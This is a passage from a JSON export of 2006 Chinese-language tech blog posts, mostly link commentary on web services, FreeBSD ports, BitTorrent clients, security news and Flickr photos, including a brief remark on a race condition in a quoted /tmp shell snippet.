    "title": "iPod 在日本的市場佔有率過半"
  },
  {
    "id": "410",
    "body": "<a href=\"http://37signals.com/\" rel=\"tag\">37signals</a> 拿了一個 Upload files &amp; notify 的例子來解釋如何事前規劃，然後實做出來：<a href=\"http://37signals.com/svn/archives2/a_sketch_to_screen_case_study.php\">A sketch to screen case study</a>。\r\n\r\nerrr... 最近好像用的到...",
    "title": "事前規劃"
  },
  {
    "id": "411",
    "body": "在 <a href=\"http://blog.outer-court.com/\" rel=\"tag\">Google Blogoscoped</a> 看到 Google Payment 的新聞：<a href=\"http://blog.outer-court.com/archive/2006-02-25-n72.html\">Google Payment News</a>，然後在 <a href=\"http://googlebase.blogspot.com/\" rel=\"tag\">Official Google Base Blog</a> 上看到了正式的說明：<a href=\"http://googlebase.blogspot.com/2006/02/buying-on-google-base.html\">Buying on Google Base</a>。\r\n\r\n<a href=\"http://base.google.com/\" rel=\"tag\">Google Base</a> 其實是一個很大的 Database，上面放了很多資料/資訊，有些人在上面賣東西。<a href=\"http://base.google.com/\" rel=\"tag\">Google Base</a> 計畫整合 <a href=\"http://www.gmail.com/\" rel=\"tag\">Gmail</a> 的帳號 (就像現在 <a href=\"http://video.google.com/\" rel=\"tag\">Google Video</a> 付款)，讓買家用信用卡付款，讓賣家直接在 <a href=\"http://base.google.com/\" rel=\"tag\">Google Base</a> 上面整理資訊。",
    "title": "Google Base 與 Google Payment"
  },
  {
    "id": "412",
    "body": "在 rafan 板上看到 <a href=\"http://www.freshports.org/devel/libtool13\" rel=\"tag\">devel/libtool13</a> 移除，然後把 <a href=\"http://www.freshports.org/devel/libtool15\" rel=\"tag\">devel/libtool15</a> 搞定，結果因為 pkg-plist 會跟著改變，整個 ports tree (~14000 ports) 裡面有 ~2000 ports 需要 recompile：\r\n<blockquote><pre>  Log:\r\n  Conversion to a single libtool environment.\r\n  \r\n  Approved by:    portmgr (kris)</pre></blockquote>\r\n完整的 cvs log 在這 (注意：網頁很大！)：<a href=\"http://lists.freebsd.org/pipermail/cvs-all/2006-February/160602.html\">cvs commit by Ade Lovett</a>，看起來是故意在 RELEASE 前 (5.5-RELEASE 及 6.1-RELEASE) 弄出來，讓新的系統就直接是新的環境。",
    "title": "FreeBSD ports 的 libtool 大變動"
  },
  {
    "id": "413",
    "body": "<a href=\"http://www.russellbeattie.com/\" rel=\"tag\">Russell Beattie</a> 又收到另外一封來自 SMS.ac 的信，因為 SMS.ac 似乎不太滿意他之前說明的那篇文章 (在 <a href=\"http://blog.gslin.org/archives/2006/02/06/352/\">SMS.ac</a> 這篇文章有提到)：<a href=\"http://www.russellbeattie.com/notebook/1008835.html\">Another Letter from SMS.ac</a>。",
    "title": "SMS.ac 再送一封信給 Russell Beattie"
  },
  {
    "id": "414",
    "body": "在 #bsdchat 上看到 <a href=\"http://zonble.twbbs.org/\" rel=\"tag\">zonble</a> 丟出來的 url，可愛到爆炸 XD\r\n\r\n<a href=\"http://luca.wordpress.com/2006/02/24/exclusive-firefox-20/\">Exclusive: Firefox 2.0</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/104062080/\"><img src=\"http://static.flickr.com/37/104062080_dfeac7e315.jpg?v=0\" alt=\"\" /></a>",
    "title": "Firefox"
  },
  {
    "id": "415",
    "body": "<a href=\"http://www.flickr.com/photos/studioantwan/102765779/\"><img src=\"http://static.flickr.com/37/102765779_c9964772a0.jpg?v=1140789672\" alt=\"\" /></a>",
    "title": "Submerged"
  },
  {
    "id": "416",
    "body": "前幾天在 <a href=\"http://blog.gslin.org/\" rel=\"tag\">blog.gslin.org</a> 的 <code>.htaccess</code> 擋掉 Baidu Spider 後，流量少了 40%：\r\n<blockquote><code>#\r\nSetEnvIf User-Agent ^Baidu baidu\r\nDeny from env=baidu</code></blockquote>\r\n舊站 <a href=\"http://gslin.org/\" rel=\"tag\">gslin.org</a> 也擋了，不過好像沒什麼影響，跟原來流量差不多。",
    "title": "擋掉 Baidu Spider"
  },
  {
    "id": "417",
    "body": "<a href=\"http://www.flickr.com/photos/cristianesousa/103118172/\"><img src=\"http://static.flickr.com/25/103118172_ed3075b457.jpg\" alt=\"\" /></a>",
    "title": "圖"
  },
  {
    "id": "418",
    "body": "<a href=\"http://www.flickr.com/photos/manimmac/103884227/\"><img src=\"http://static.flickr.com/30/103884227_33aed3bfea.jpg\" alt=\"\" /></a>",
    "title": "Just around the corner"
  },
  {
    "id": "419",
    "body": "<a href=\"http://www.flickr.com/photos/jrparis/104217916/\"><img src=\"http://static.flickr.com/36/104217916_c9fd6bb4e5.jpg\" alt=\"\" /></a>",
    "title": "They needed the car"
  },
  {
    "id": "420",
    "body": "<a href=\"http://www.flickr.com/photos/deep_blue/103908455/\"><img src=\"http://static.flickr.com/43/103908455_5cc93c14ce.jpg\" alt=\"\" /></a>",
    "title": "In a Dream"
  },
  {
    "id": "421",
    "body": "這幾天顧著練牌，看起來要下星期才有機會把 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 裡面一堆資訊消化完，不過有些東西還是先來幹剿兩句好了。\r\n\r\n第一個，在「<a href=\"http://tetralet.luna.com.tw/index.php?op=ViewArticle&articleId=75&blogId=1\">網路真的是匿名的嗎？</a>」這篇文章的最後面：\r\n<blockquote>amarylliss | 01/03/2006, 17:42\r\n\r\n部落格版主：\r\n\r\n您好！我是智邦生活館的編輯。智邦生活館首頁改版新推出編輯推薦-網摘精選單元。在網路上四處為網友們精挑細選好文章。今日拜讀此篇文章，欣賞其中的筆調和觀點，將其選為 2006年3月2日艾瑪美食生活頻道的網摘 (http://digest.url.com.tw/amarylliss/)，與網友們分享。我們推薦如果造成你的不便，煩請回信告知。如需好文貼紙，請至 http://digest.url.com.tw/amarylliss/sticker.php 謝謝您！\r\n\r\n敬祝 平安\r\n\r\n智邦生活館網摘頻道編輯 敬啟</blockquote>\r\n這跟 <strong>美食生活頻道</strong> 有什麼關係？<a href=\"http://www.lifewiki.net/trackback/\" rel=\"tag\">trackback</a> &amp; <a href=\"http://hixie.ch/specs/pingback/pingback\" rel=\"tag\">pingback</a> 好像也不是長這樣啊。我記得其他的網摘服務好像也沒有這種 log... (Hey!!! <a href=\"http://www.hemidemi.com/\">學長</a> 你不要學到這種壞習慣啊)\r\n\r\n不過台灣有太多 Service 是建立在 Spam 的基礎上，從 PChome 的 Spam Mail、無名小站在留言板的 Spam，智邦也開始搞這套了...\r\n\r\n前面兩家都是這樣大起來，或許應該可以考慮看看 <a href=\"http://tw.stock.yahoo.com/q/q?s=2345\" rel=\"tag\">2345</a> 了？XD\r\n\r\n第二個，再幹剿一次沒什麼誠意的 PChome，在 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 這篇 <a href=\"http://blog.ijliao.info/archives/2005/07/23/1614/\">PChome 的垃圾信</a> 後：\r\n<blockquote>6. ijliao  |  七月 23rd, 2005 at 4:53 pm\r\n\r\n問題是他給你 unsubscribe 啊，只是沒作用 XD\r\n真要告他，他也可以賴說是程式有問題，感謝您的回報之類…\r\n唉呀，一皮天下無難事啦…</blockquote>\r\n然後在 PChome 上班的 jwbai 出來說：\r\n<blockquote>10. jwbai  |  七月 25th, 2005 at 12:01 am\r\n\r\n看你方不方便把取消訂閱失敗的報名告訴我，我會跟同事研究看看怎麼來修正。\r\n\r\n這類的問題應該是存在已久，現階段能改善的部份我們會盡量去做。</blockquote>\r\n半年過去了... (狂笑)\r\n\r\n第三個，前幾天在 IRC 上 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\"><del datetime=\"2006-03-01T15:02:56+00:00\">hlb</del></a> <a href=\"http://blog.ijliao.info/\" rel=\"tag\">ijliao</a> 丟了一個 url 出來：<a href=\"http://del.icio.us/balazoo/self-spammed\">http://del.icio.us/balazoo/self-spammed</a>，這個 tag 標的實在太棒了 XD",
    "title": "Spam"
  },
  {
    "id": "422",
    "body": "<a href=\"http://www.flickr.com/photos/eris23/103766956/\"><img src=\"http://static.flickr.com/16/103766956_c0e79f7e92.jpg\" alt=\"\" /></a>",
    "title": "in the laundry II"
  },
  {
    "id": "423",
    "body": "看完 <a href=\"http://www.frsirt.com/exploits/20060301.xosx-passwd.pl.php\">Apple Mac OS X \"/usr/bin/passwd\" Binary Local Privilege Escalation (root) Exploit</a> 後我無言了... -_-\r\n\r\n我不懂 <code>/usr/bin/passwd</code> 怎麼寫的啊啊啊...",
    "title": "Apple Mac OS X 的 Security Hole..."
  },
  {
    "id": "424",
    "body": "<a href=\"http://lyceum.ibiblio.org/\" rel=\"tag\">Lyceum</a> 是一套多人修改自 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的軟體，以提供多人使用。<a href=\"http://photomatt.net/\" rel=\"tag\">Matt</a> 在 <a href=\"http://photomatt.net/2006/03/01/wordpress-and-lyceum/\">WordPress and Lyceum</a> 這篇提到關於 <a href=\"http://lyceum.ibiblio.org/\" rel=\"tag\">Lyceum</a> 對於資料庫的設計：\r\n<blockquote>From my examination of the code, it seems it’s exactly what <a href=\"http://mu.wordpress.org/\" rel=\"tag\">WordPress MU</a> is except they’ve modified every SQL statement (what a pain!) to use a monolithic table structure. We tested this approach for MU, but found it was too expensive to scale past a certain point. With monolithic structures you hit a wall based on your hardware.\r\n\r\nIn MU users are divided and can be partitioned easily, for example on <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> we have the users partitioned between 4096 databases, which allows you to scale very cheaply and efficiently to hundreds of thousands and even millions of users and extremely high levels of traffic.</blockquote>\r\n結果 <a href=\"http://wordpress.com/\" rel=\"tag\">WordPress.com</a> 對於 Database 的作法都一樣... (默)",
    "title": "Lyceum"
  },
  {
    "id": "425",
    "body": "<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 在許多國家被過濾：\r\n<ul>\r\n\t<li><a href=\"http://www.boingboing.net/2006/03/01/saudi_arabia_joins_l.html\">Saudi Arabia joins league of BoingBoing-deprived nations</a> (2006/3/1)</li>\r\n\t<li><a href=\"http://www.boingboing.net/2006/02/27/boingboing_banned_in.html\">BoingBoing banned in UAE, Qatar, elsewhere. Our response to net-censors: Get bent!</a> (2006/2/27)</li>\r\n</ul>\r\n所以 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 在 <a href=\"http://www.boingboing.net/censorroute.html\">BOING BOING'S GUIDE TO DEFEATING CENSORWARE (see story here)</a> 這裡提供了許多方法避過 Filtering。",
    "title": "Boing Boing 被許多國家過濾..."
  },
  {
    "id": "426",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的舊新聞，<a href=\"http://sourceforge.net/\" rel=\"tag\">SourceForge</a> 除了提供 <a href=\"http://www.nongnu.org/cvs/\" rel=\"tag\">CVS</a> 以外，也開始提供 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> 了：<a href=\"http://digg.com/programming/Sourceforge_does_Subversion\">Sourceforge does Subversion</a>。\r\n\r\n我在去年三月提到過「<a href=\"http://gslin.org/2005/03/19/821/\">sourceforge 要提供 subversion 服務</a>」，用了快一年的時間才正式上線...",
    "title": "Sourceforge Subversion"
  },
  {
    "id": "427",
    "body": "<a href=\"http://it.slashdot.org/article.pl?sid=06/03/03/004215\">Symantec Users, Start Your Keyloggers</a> 看到的，當你在 irc channel 上輸入 \"startkeylogger\" 或 \"stopkeylogger\" 時，使用 Norton Internet Security 或 Norton Personal Firewall 的人就會自動離線 XD\r\n\r\n原始的報導在 <a href=\"http://blog.washingtonpost.com/securityfix/2006/03/keylogger_utterance_spooks_nor.html\">Malware-Speak Spooks Symantec</a> 這裡：\r\n<blockquote>Turns out that if someone types \"startkeylogger\" or \"stopkeylogger\" in an IRC channel, anyone on the channel using the affected Norton products will be immediately kicked off without warning.</blockquote>",
    "title": "Norton 的誤判"
  },
  {
    "id": "428",
    "body": "一般在發現 Security Issue 後都會以 mail 先通知負責的單位 (Vendor)，直到提供 patch 或是修正問題後才會將 Security Issue 公諸於世。\r\n\r\n不過，有時候也會遇到不想鳥你的單位... 這時候就光明正大的給他一腳吧 XD\r\n\r\n<a href=\"http://lists.grok.org.uk/pipermail/full-disclosure/2006-February/042439.html\" rel=\"tag\">Google Reader \"preview\" and \"lens\" script improper feed validation</a>：\r\n<blockquote>IV. HISTORY\r\n30th Jan, 2006 -\tBug originally discovered\r\n2nd Feb, 2006 -\t        Vendor Notified\r\n... \r\n... \r\nNo vendor response\r\n...\r\n...\r\n22nd Feb, 2006 -\tVendor Notified again\r\n22nd Feb, 2006 -\tPublic Disclosre</blockquote>\r\n請參考：<a href=\"http://blog.outer-court.com/archive/2006-03-03-n10.html\">Gmail Security Flaw Fixed</a>。",
    "title": "安全性問題 - 事先告知的義務"
  },
  {
    "id": "429",
    "body": "因為 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 上發現一堆 <a href=\"http://blog.xuite.net/\" rel=\"tag\">Xuite</a> 的 RSS 讀取記錄被重設了... (一堆 unread entries...)\r\n\r\n<strong>Update</strong>：警告警告，並不是 <a href=\"http://www.xuite.net/\" rel=\"tag\">Xuite</a> + RSS = XSS (雖然...)，麻煩 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">某長輩</a> 不要誤會。",
    "title": "Xuite Blog 的 RSS..."
  },
  {
    "id": "430",
    "body": "雖然最近沒時間看 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 所有的文章 (尤其是國外的新聞，像是 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 與 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 這兩個量又超多)，不過看到 <a href=\"http://blog.ijliao.info/\" rel=\"tag\">廖長輩</a> 寫的「<a href=\"http://blog.ijliao.info/archives/2006/03/04/2129/\">Skype 在 AMD 上的十方通話</a>」之後，趕緊看一下是誰 crack 的。\r\n\r\n因為在前陣子 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 跟 <a href=\"http://www.intel.com/\" rel=\"tag\">Intel</a> 合作，使得 <a href=\"http://www.skype.com/\" rel=\"tag\">Skype</a> 只有在 <a href=\"http://www.intel.com/\" rel=\"tag\">Intel</a> 平台上才能十方通話之後，我和某個同學就已經知道一定會被 crack 掉，問題是，會是哪位有名的大長輩 crack 的 XD\r\n\r\n我是猜 <a href=\"http://nanocrew.net/\" rel=\"tag\">DVD Jon</a> 這位對 DRM 感冒的長輩，而強者我同學則是猜前陣子惡搞 Intel-based MacOSX 的 <a href=\"http://www.maxxuss.com/home/\" rel=\"tag\">maxxuss</a>，太準了 XD",
    "title": "Skype 的 Ten-only-on-Intel 限制"
  },
  {
    "id": "431",
    "body": "台灣的新聞媒體一向是製造業，所以有些新聞報導的水準低落，這時候看看就好，尤其是本身就有立場的新聞。\r\n\r\n但像是這篇「<a href=\"http://www.frostyplace.com/index.php?story_id=4452\">晨跑出車禍　iPod 立大功</a>」就不得不講：對於一個人的不幸，原新聞的標題 \"<a href=\"http://www.nbc11.com/news/7647999/detail.html\">Police Use iPod To ID Unconscious Woman</a>\" 就比較中立，而中文這篇的標題很明顯就是利用別人的不幸在打 <a href=\"http://www.apple.com/ipod/\" rel=\"tag\">iPod</a> 的廣告，看起來就非常令人厭惡。",
    "title": "新聞媒體 - 製造業"
  },
  {
    "id": "432",
    "body": "<a href=\"http://boren.nu/\" rel=\"tag\">Ryan Boren</a> 在 <a href=\"http://comox.textdrive.com/pipermail/wp-testers/2006-March/002303.html\">[wp-testers] 2.0.2 on Tuesday</a> 這篇裡宣佈將在星期二發佈 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.0.2，看起來是因為一個未公開的安全性問題：\r\n<blockquote>We need to release 2.0.2 to address a security bug.  No, not the security bug that caused all of the commotion recently, another one.\r\n\r\nWe'll get a package out shortly.  In the meantimes, pull the latest from the 2.0 branch.\r\n\r\n<a href=\"http://svn.automattic.com/wordpress/branches/2.0/\">http://svn.automattic.com/wordpress/branches/2.0/</a>\r\n\r\nThis contains fixes for both security issues as well as a handful of non-security bugs.  Here's the list of bugs, sans the security issues.\r\n\r\n<a href=\"http://trac.wordpress.org/query?action=view&amp;status=closed&amp;resolution=fixed&amp;milestone=2.0.2&amp;order=priority\">http://trac.wordpress.org/query?action=view&amp;status=closed&amp;resolution=fixed&amp;milestone=2.0.2&amp;order=priority</a>\r\n\r\nLook over the bug list and target your testing on the effected areas. I'll add the security issues to the list when we release.\r\n\r\nTuesday is just a target.  If we can't make it we can delay a bit, but we need to get this out soon.\r\n\r\nRyan</blockquote>",
    "title": "WordPress 2.0.2"
  },
  {
    "id": "433",
    "body": "前幾天就看到 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 公佈了，不過那幾天沒空寫。剛剛在看 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 的文章時突然想到還蠻有趣的：除了文章內容外，現在連 Comment 都可以 Digg，類似於 BBS 的推文 (+1) 與噓文 (-1)，於是有些廢話就被幹到爆炸，在預設值下會自動被 threshold XD",
    "title": "Digg 新的 Comment 系統"
  },
  {
    "id": "434",
    "body": "在 <a href=\"http://www.bitcomet.com/doc/changelog.htm\">Release Notes</a> 裡可以看到 <strong>v0.63 2006.3.7</strong> 的變動：\r\n<ul>\r\n\t<li>GUI Improved: fix the bug that somtimes torrent file can't be open properly after downloaded in BitComet embedded browser</li>\r\n\t<li>Core Improved: Remove the old protocol header encryption, add new protocol encryption compatible with Azureus and uTorrent</li>\r\n</ul>\r\n最讓人驚訝的是 Protocol Header Encryption 全面改用與 <a href=\"http://azureus.sourceforge.net/\" rel=\"tag\">Azureus</a>/<a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 相同的協定。",
    "title": "BitComet 0.63"
  },
  {
    "id": "435",
    "body": "<a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 這篇 <a href=\"http://digg.com/science/www.WikiTree.org\">www.WikiTree.org</a> 刊登出來沒多久後，原網站就因為 Digg Effect 而掛掉...\r\n\r\n不過，值得寫的原因不是因為掛掉，而是在原網站上面這樣公告 XD\r\n<blockquote>WikiTree.org Has Been Badly Cut!\r\n\r\nWikitree.Org has suffered a DoS attack on 20060306-7 and had to be suspended to protect the webserver.\r\n\r\nShame on anybody responsible for the attack!\r\n\r\nBe sure, however, that Wikitree.Org will be up and running again as soon as humanly possible...\r\n\r\nIt may take some hours, but also several days.</blockquote>",
    "title": "Digg Effect 與 DDoS Attack"
  },
  {
    "id": "436",
    "body": "剛剛做完 MacOSX 的 Security Update 後發現 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 選單掉字問題不見了：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/109732595/\"><img src=\"http://static.flickr.com/47/109732595_87f9f8bf75.jpg\" alt=\"\" /></a>\r\n\r\n所以這個 Security Update 裡面包含了什麼神祕的東西...？",
    "title": "Mac 上 Firefox 掉字問題"
  },
  {
    "id": "437",
    "body": "看了一下 <a href=\"http://awstats.sourceforge.net/\" rel=\"tag\">awstats</a> 的記錄，我發現不論是 <a href=\"http://blog.gslin.org/\" rel=\"tag\">blog.gslin.org</a> 或是 <a href=\"http://gslin.org/\" rel=\"tag\">gslin.org</a> 的流量都增加不少？\r\n\r\n時間點剛好是我升級 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的時候，不過連續兩天都流量都增加不少，這樣好像怪怪的，是 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的 RSS Feed 又搞錯什麼東西了嗎？\r\n\r\n等下去翻翻看 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 的 mailing list，可能會有人抱怨吧...",
    "title": "這兩天的流量大增？"
  },
  {
    "id": "438",
    "body": "沒想到參與開發 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">MSE/PE</a> 的 <a href=\"http://www.utorrent.com/\" rel=\"tag\">µTorrent</a> 會是三個裡面最後一個推出 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">MSE/PE</a> 正式版的團體 XD (比沒有參與的 <a href=\"http://www.bitcomet.com/\" rel=\"tag\">BitComet</a> 還慢 XD)\r\n\r\n這次推出後，網站上的標語是 \"now with Protocol Encryption and Peer Exchange\"，這使得 Windows 上最常看到的三套 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> Client 都支援 <a href=\"http://azureus.aelitis.com/wiki/index.php/Message_Stream_Encryption\" rel=\"tag\">MSE/PE</a>。\r\n\r\n從 1.4 到 1.5 的發展記錄可以在 <a href=\"http://www.utorrent.com/download/1.5/utorrent-1.5.txt\">View Stable Changelog</a> 這頁看到，不過... 下面這個是什麼鬼東西 -_-\r\n<blockquote>- Feature: New easter egg</blockquote>\r\n\r\n順便提一下 <a href=\"http://bitconjurer.org/\" rel=\"tag\">Bram Cohen</a>，不知道他到底認清楚現實了沒...",
    "title": "µTorrent 1.5"
  },
  {
    "id": "439",
    "body": "<a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 幾乎是 <a href=\"http://jan.kneschke.de/\" rel=\"tag\">Jan Kneschke</a> 一個人撐起來的，這傢伙熱血的程度真不是一般人能夠比的：當初使用 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> + <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> kqueue 跑沒幾秒鐘就會 crash 的 bug 就是由他直接透過 ssh 連到 <a href=\"http://www.pixnet.net/\" rel=\"tag\">pixnet</a> 上面 debug 的 XD\r\n\r\n一般開站 (大站) 常用到的功能幾乎都直接支援了：(<a href=\"http://www.lighttpd.net/documentation/\">www.lighttpd.net/documentation/</a>)\r\n<ul>\r\n\t<li>mod_accesslog：所以你可以輸出讓 <a href=\"http://awstats.sourceforge.net/\" rel=\"tag\">awstats</a> 分析的格式。</li>\r\n\t<li>mod_access：設定某些權限。</li>\r\n\t<li>mod_fastcgi：你可以透過 <a href=\"http://www.fastcgi.com/\" rel=\"tag\">FastCGI</a> 執行 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>，而得到不輸給 <a href=\"http://www.apache.org/\" rel=\"tag\">Apache</a> 的 <a href=\"http://www.php.net/\" rel=\"tag\">mod_php</a> 的效率。</li>\r\n\t<li>mod_proxy：將某些目錄丟到另外一組機器跑。</li>\r\n\t<li>mod_redirect：改寫 URL (通常是美化)。</li>\r\n</ul>\r\n而剛剛又在 <a href=\"http://blog.lighttpd.net/\" rel=\"tag\">Development Blog</a> 上看到一項新的功能，看起來就是給開大站的人用的：<a href=\"http://blog.lighttpd.net/articles/2006/03/09/flv-streaming-with-lighttpd\">flv streaming with lighttpd</a>，直接在 lighttpd 支援 flv streaming，而不用透過 <a href=\"http://www.php.net/\" rel=\"tag\">php</a> 去拉...\r\n\r\n難怪愈來愈多人向 <a href=\"http://www.lighttpd.net/\" rel=\"tag\">lighttpd</a> 投靠了 :p",
    "title": "lighttpd 支援的項目"
  },
  {
    "id": "440",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到新玩意，一個透過 <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 的資料庫而得到結果的搜尋引擎：<a href=\"http://slashdot.org/article.pl?sid=06/03/08/1817229\">Similicio.us a New Relevancy Based Blog Finder</a>。\r\n\r\n你輸入一個 url (像是 <a href=\"http://blog.gslin.org/\" rel=\"tag\">http://blog.gslin.org/</a>)，他可以找到「會 link 到 <a href=\"http://blog.gslin.org/\" rel=\"tag\">blog.gslin.org</a> 的人還會 link 哪些站」。\r\n\r\n一路點下去還蠻有趣的 :p",
    "title": "Similicio.us"
  },
  {
    "id": "441",
    "body": "(原文發表於 tw.bbs.comp.386bsd)\r\n\r\n跟 BSD 沒關係，不過跟許多 BSD/Linux admin 應該有關係。\r\n\r\nSSL Certificate 如果是自己用自己做的 Root Certificate 簽的，在使用前必須要先安裝自己做的 Root Certificate，否則會出現警告訊息。\r\n\r\n為了避免這個警告訊息，就要到外面找 CA 幫你簽。這個簽的價錢有高有低，貴的到約 USD$1000/year，便宜的可以在特價時找到 USD$10/year。當然，兩者連線的品質 (註) 有差。\r\n\r\n不過對於教育單位來說，只是為了要避免那個警告視窗。(以及加密... 廢話！)\r\n\r\n(註：舊的 Browser 只支援 Verisign 以及少數幾家 Root CA，所以，如果這些用古董的人對於你很重要的話，你應該要考慮 Verisign 或是其他老牌子的 Root CA...)\r\n\r\n回頭來說教育單位 (*.edu 或 *.edu.tw，能從 Domain Name 直接確認是學校單位之類的) 的 SSL Cert 政策，如果能找到免費的，而且申請起來不太困難的是最好的了：\r\n\r\n<a href=\"http://certs.ipsca.com/\" rel=\"tag\">http://certs.ipsca.com/</a>\r\n\r\n這個單位提供教育單位申請 SSL Certificate，以 e-mail 認證，一次簽兩年。我們也實際申請過，而且正常運作，你可以試看看：\r\n\r\n<a href=\"https://mail.cs.nctu.edu.tw/\" rel=\"tag\">https://mail.cs.nctu.edu.tw/</a>",
    "title": "教育單位的 SSL Certificate"
  },
  {
    "id": "442",
    "body": "原來對 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 的三條 Gigabit 線路一開學就已經滿了，星期一該提醒老人家向 <a href=\"http://www.hinet.net/\" rel=\"tag\">HiNet</a> 關心一下了，順便跟他解釋 <a href=\"http://www.bittorrent.com/\" rel=\"tag\">Bittorrent</a> Encryption 的事情好了...：\r\n\r\n(MRTG 裡晚上八點多掉下去那段是宿舍網路斷網)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/110548769/\"><img src=\"http://static.flickr.com/44/110548769_27d9727a4b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/110548770/\"><img src=\"http://static.flickr.com/54/110548770_6a2748620d.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/110548771/\"><img src=\"http://static.flickr.com/45/110548771_22e49e52b0.jpg\" alt=\"\" /></a>",
    "title": "對 HiNet 線路"
  },
  {
    "id": "443",
    "body": "<a href=\"http://www.flickr.com/photos/o_caritas/109565871/\"><img src=\"http://static.flickr.com/34/109565871_9569055cc6.jpg\" alt=\"\" /></a>",
    "title": "Gnarly"
  },
  {
    "id": "445",
    "body": "在 <a href=\"http://news.netcraft.com/\" rel=\"tag\">Netcraft</a> 上看到中國某家銀行 (<a href=\"http://www.ccb.cn/\" rel=\"tag\">中國建設銀行</a>) 在上海的 server 被 crack 後偽裝成美國銀行 (<a href=\"http://chase.com/\" rel=\"tag\">Chase Bank</a>) 的網站，也就是被拿來釣魚：<a href=\"http://news.netcraft.com/archives/2006/03/12/chinese_banks_server_used_in_phishing_attacks_on_us_banks.html\">Chinese Bank's Server Used in Phishing Attacks on US Banks</a>。\r\n\r\n這真的是第一次看到的奇景 XD",
    "title": "網路釣魚"
  },
  {
    "id": "446",
    "body": "看到 <a href=\"http://victor.csie.org/blog/misc/screen_display.html\">惡搞 DISPLAY (for screen)</a> 這篇的 Shell Script：\r\n<blockquote><code>echo $DISPLAY &gt; /tmp/display\r\nchmod 600 /tmp/display</code></blockquote>\r\n我第一個想到的是 Race Condition，再來想到的是用 symbolic link 破壞 XD",
    "title": "Race Condition"
  },
  {
    "id": "447",
    "body": "樹木在發光？XD\r\n\r\n<a href=\"http://www.flickr.com/photos/benmcleod/110255202/\"><img src=\"http://static.flickr.com/55/110255202_03d65a8d96.jpg\" alt=\"\" /></a>",
    "title": "another try at HDR"
  },
  {
    "id": "448",
    "body": "第一次使用 <a href=\"http://www.vibo.com.tw/\" rel=\"tag\">威寶</a> (Vibo) 3G 網路的經驗差到不行 -_-\r\n\r\n由於有打算要辦 3G，想要測試看看品質如何，我跟 <a href=\"http://www.ronny.idv.tw/\" rel=\"tag\">ronnywang</a> 借了 <a href=\"http://www.vodafone.com/\" rel=\"tag\">Vodafone</a> 的 PCMCIA 3G 網卡，裝好 Driver 後在新竹家裡測...\r\n\r\n首先是連上後拿到的 IP address，是 Private IP，10.x.x.x 這段的。連外後的 IP address 是走 TWNAP 進入學術網路。\r\n\r\n再來是連線的 Latency，上個 BBS 的感覺都比大眾的 <a href=\"http://www.phs.com.tw/\" rel=\"tag\">PHS</a> 差，用 <code>ping</code> 測試 140.113.1.1 發現 response time 約 300ms，高到爆炸。用 <code>tracert</code> 測試也可以發現從第一台就是 300ms 了，不是 140.113.1.1 的問題 -_-\r\n\r\n至於速度，雖然連上的時候寫 384kbps，不過實測大約只有 100kbps 左右的速度，也就是下載大約維持在 13KB/sec 左右。這是四格的訊號品質嗎？滿格是五格耶...\r\n\r\n明天再跟 <a href=\"http://blog.superd.org/\" rel=\"tag\">SuperD</a> 借 <a href=\"http://www.cht.com.tw/\" rel=\"tag\">中華電信</a> (CHT) 的 SIM 卡，測看看到底是 <a href=\"http://www.vibo.com.tw/\" rel=\"tag\">威寶</a> Vibo 的問題，還是 3G 網卡的問題...",
    "title": "威寶 (Vibo) 的 3G 網路"
  },
  {
    "id": "449",
